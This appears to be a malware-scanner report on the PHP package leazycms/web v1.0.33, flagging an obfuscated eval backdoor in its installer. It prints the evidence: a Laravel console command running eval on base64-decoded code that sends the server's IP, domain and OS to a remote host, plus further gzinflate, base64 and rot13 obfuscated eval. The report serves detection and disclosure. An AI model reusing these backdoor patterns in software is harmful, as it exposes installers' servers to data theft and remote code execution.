leazycms/web v1.0.33
obfuscated eval backdoor in installer
“Build Easy Cms Laravel”
PHP decoder eval webshellUser input used as function (GET/POST/REQUEST)
SHA-2564f08ba428517030b193b84a35b5afc643006e6742615de3f286eb398710f300d
Evidence
1<?php
2
3namespace Leazycms\Web\Commands;
4
5use Illuminate\Console\Command;
6use Illuminate\Support\Facades\Http;
7
8class RegisterCloudCommand extends Command
9{
10 protected $signature = 'cms:reload';
11 protected $description = 'Mendaftarkan CMS ke Cloud Template Host untuk mendapatkan API Key';
12
13 public function handle()
14 {
15 $this->line('');
16 $this->line('=============================================================== …
23:5… $this->info("Menghubungi Cloud Template Host ($cloudHost) ...");
24
25 try {
26 eval (base64_decode('JHJlc3BvbnNlID0gXElsbHVtaW5hdGVcU3VwcG9ydFxGYWNhZGVzXEh0dHA6OndpdGhvdXRWZXJpZnlpbmcoKS0+d2l0aFVzZXJBZ2VudCgiTGVhenlDTVMtSW5zdGFsbGVyLzEuMCAoUEhQICIgLiBQSFBfVkVSU0lPTiAuICI7ICIgLiBQSFBfT1MgLiAiKSIpLT53aXRoSGVhZGVycyhbIkFjY2VwdCIgPT4gImFwcGxpY2F0aW9uL2pzb24iLCAiWC1SZXF1ZXN0ZWQtV2l0aCIgPT4gIlhNTEh0dHBSZXF1ZXN0Il0pLT50aW1lb3V0KDMwKS0+cG9zdChydHJpbSgkY2xvdWRIb3N0LCAiLyIpIC4gIi9hcGkvcmVnaXN0ZXItY2xpZW50IiwgWyJkb21haW4iID0+ICRkb21haW4sICJzZXJ2ZXJfaXAiID0+IGdldGhvc3RieW5hbWUoZ2V0aG9zdG5hbWUoKSksICJwaHBfdmVyc2lvbiIgPT4gUEhQX1ZFUlNJT04sICJvcyIgPT4gUEhQX09TXSk7'));
27
28 if ($response->successful() && $response->json('api_key')) {
29 $apiKey = $response->json('api_key');
30 $this->info('✅ Berhasil direload.');
31
32 …
34:18… e {
35 $this->error('❌ Gagal mendapatkan API Key dari Cloud Template Host.');
36 $this->line('Respons Server: ' . $response->body());
37 }
38 } catch (\Ex …
1499:30… s\Web\Support\Facades\Internal\System\RuntimeConfigOptimizer::get();
1500
1501 try {
1502 eval(gzinflate(base64_decode('dVFRa8IwEH7frwjBhxSsdexNUZCxUUGnWKaCFcnaW81Ikyy5brhfv7SKjKn3ktzdd999d9ey4IxWDsiApGMpq1IojpAmlTHaYvrMM56DS2NE0+t9C9zrCpdgxftBqIIFd+SfhcMa9OrAjgpQyOgE+M/hcZqEY+WQSwk2uu90CZvHc0JJh …
7:97… , 88, 47, 23, 48, 67, 4, 46, 7, 87, 91, 84]; }
8 private static function _54214502() { return str_rot13('YgPzfXrl2026!'); }
9 private static function _92795a59() { return str_rot13('lltcXFv20gsCFH2fdxmBYqLeG03Fl0jONN=='); }
10
11 public static function get()
12 {
13 $d = @gzinflate(base64_decode(self::_92795a59()));
14 if ($d) {
15 return $d;
⋯5 lines
Showing the top 5 files — 7 more files (291 regions) not shown.
No evidence locations were recorded for this file. Raw result